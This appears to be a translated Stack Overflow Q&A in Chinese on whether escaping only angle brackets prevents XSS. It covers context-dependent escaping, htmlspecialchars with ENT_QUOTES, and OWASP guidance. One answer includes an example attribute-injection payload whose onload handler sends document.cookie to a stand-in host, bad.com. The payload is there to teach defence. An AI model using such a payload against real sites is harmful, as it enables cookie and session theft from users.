【问题标题】:Is replacing : < and > with &lt; and &gt; enough to prevent XSS injection?用 < 和 > 替换 : < 和 > 是否足以防止 XSS 注入?
【发布时间】:2011-01-08 00:15:26
【问题描述】:

我想知道将&lt;&gt;这两个标记是否足以防止XSS注入?

如果不是,为什么?最好的解决方案是什么?

【问题讨论】:

    标签: xss code-injection


    【解决方案1】:

    这在很大程度上取决于上下文。

    看看这个例子,来自一个典型的论坛网站...

    您可以热链接您的头像图片。输入完整的网址。

    恶意用户进入输入框

    http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie) 
    

    那里没有小于和大于的编码,但仍然是一个很大的安全漏洞。

    对于htmlspecialchars(),我发现创建(或使用)它的包装函数来转换为字符串是一个好主意,提供了一种更简单的方法来禁用双重编码(如果需要)并确保它使用应用程序的正确字符集。 Kohana 有一个great example

    【讨论】:

    • 嗨,谢谢大家的回答,我问这个是因为我认为所有字符都在数据库中占用更多空间。谢谢
    • 我不会编码进入数据库,但编码出来。通常最好“按原样”存储用户数据,并提供一些机制以使其安全显示。
    • 我完全同意 keep-it-raw-until-it-hits-the-page 方法,但是我强烈建议不要“禁用双引号”,因为它会破坏你的字符串。例如,如果我想说&amp;amp;amp; 在一篇谈论像这样的 HTML 的帖子中,该选项将无法在源代码中将其转义为 &amp;amp;amp;,因此它会在屏幕上显示为 &amp;,使得我看起来像个白痴。编码是一个过程,而不是一个状态。
    • 一般规则是接收数据时做输入验证,输出数据时输出转义。请参阅 OWASP XSS 预防备忘单,了解如何在不同情况下进行逃逸:owasp.org/index.php/…
    【解决方案2】:

    您应该考虑双引号 "、单引号 ' 和 & 符号 &amp;。如果您在显示/生成输出的所有期间都这样做,那么是的,这就足够了。

    您只应确保任何用户控制的输入执行此操作,例如请求参数、请求 URL、请求标头和用户控制的输入存储在数据存储中。

    在 PHP 中,您可以使用 htmlspecialchars() 来做到这一点,而在 JSP 中,您可以使用 JSTL &lt;c:out&gt; 来做到这一点。

    【讨论】:

    • 注意 htmlspecialchars 默认只转义双引号,而不是单引号。但这通常没问题,因为很少使用单引号作为属性分隔符。使用ENT_QUOTES 确保两者兼得。
    猜你喜欢
    • 2011-07-17
    • 1970-01-01
    • 2019-06-03
    • 2011-10-16
    • 1970-01-01
    • 2011-09-15
    • 2013-05-20
    • 1970-01-01
    • 2017-09-24
    相关资源
    最近更新 更多